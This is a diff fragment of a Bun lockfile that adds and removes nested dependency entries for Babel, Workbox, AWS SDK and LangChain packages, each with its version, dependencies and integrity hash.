+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
+
+ "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
+
+ "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
+
+ "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
+
+ "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
+
+ "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
+
+ "librechat-data-provider/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+
+ "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
"pkg-dir/find-up/locate-path/p-locate/p-limit": ["p-limit@2.3.0", "", { "dependencies": { "p-try": "^2.0.0" } }, "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w=="],
"svgo/css-select/domutils/dom-serializer/entities": ["entities@2.2.0", "", {}, "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A=="],
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.22.20", "", { "dependencies": { "@babel/helper-function-name": "^7.22.5", "@babel/template": "^7.22.15", "@babel/types": "^7.22.19" } }, "sha512-pms/UwkOpnQe/PDAEdV/d7dVCoBbB+R4FvYoHGZz+4VPcg7RtYy2KP7S2lbuWM6FCSgob5wshfGESbC/hzNXZw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.22.20", "", { "dependencies": { "@babel/helper-function-name": "^7.22.5", "@babel/template": "^7.22.15", "@babel/types": "^7.22.19" } }, "sha512-pms/UwkOpnQe/PDAEdV/d7dVCoBbB+R4FvYoHGZz+4VPcg7RtYy2KP7S2lbuWM6FCSgob5wshfGESbC/hzNXZw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
+
+ "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
+
+ "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
+
+ "workbox-build/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
+
+ "workbox-build/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+
"workbox-build/source-map/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/middleware-flexible-checksums/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-nE3IRNjDltvGcoThD2abTozI1dkSy8aX+a2N1Rs55en5UsdyyIXgGEmevUL3okZFoJC77JgRGe99xYohhsjivQ=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
-
